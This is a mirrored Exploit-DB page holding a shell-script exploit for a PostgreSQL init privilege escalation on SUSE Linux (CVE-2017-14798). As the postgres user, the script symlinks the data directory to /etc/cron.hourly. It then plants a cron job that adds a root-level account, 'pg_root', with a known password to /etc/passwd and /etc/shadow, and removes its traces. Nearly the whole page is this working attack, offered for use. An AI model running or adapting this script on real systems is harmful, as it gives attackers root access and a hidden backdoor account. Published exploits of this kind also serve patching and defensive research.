PostgreSQL 9.4-0.5.3 – Privilege Escalation - 体验盒子

作者： Johannes Segitz

日期： 2018-08-13

类别：

local

平台：

linux

来源：https://www.exploit-db.com/exploits/45184/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation

# Date: 2017-10-11

# Exploit Author: Johannes Segitz

# Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722

# Software Link: -

# Version: Before postgresql-init-9.4-0.5.3.1

# Tested on: SUSE Linux Enterprise 11 SP4

# CVE : CVE-2017-14798

#!/bin/sh

# don't use spaces or other funny characters in here

CRON_DIR='/etc/cron.hourly'

CRON_FILE="$CRON_DIR/totally_not_a_lpe"

declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf')

if [ "$(whoami)" != "postgres" ]; then

echo "Must be run as user postgres"

exit -1

fi

cd

echo setting up exploit

mv data data2

ln -s $CRON_DIR data

echo waiting for DB restart

while [ ! -w $CRON_DIR ]; do

sleep 1

done

echo able to write $CRON_DIR

echo '#!/bin/sh' > $CRON_FILE

echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE

echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE

echo "rm $CRON_FILE" >> $CRON_FILE

echo "chown root.root ${CRON_DIR}" >> $CRON_FILE

chmod +x $CRON_FILE

if [ -e $CRON_FILE ]; then

echo wrote $CRON_FILE

else

echo failed to write $CRON_FILE, exiting

exit 1

fi

echo cleaning up

for i in "${CLEANUP_ELEMENTS[@]}"; do

rm -rf "$CRON_DIR/$i"

done

rm data

mv data2 data

echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy!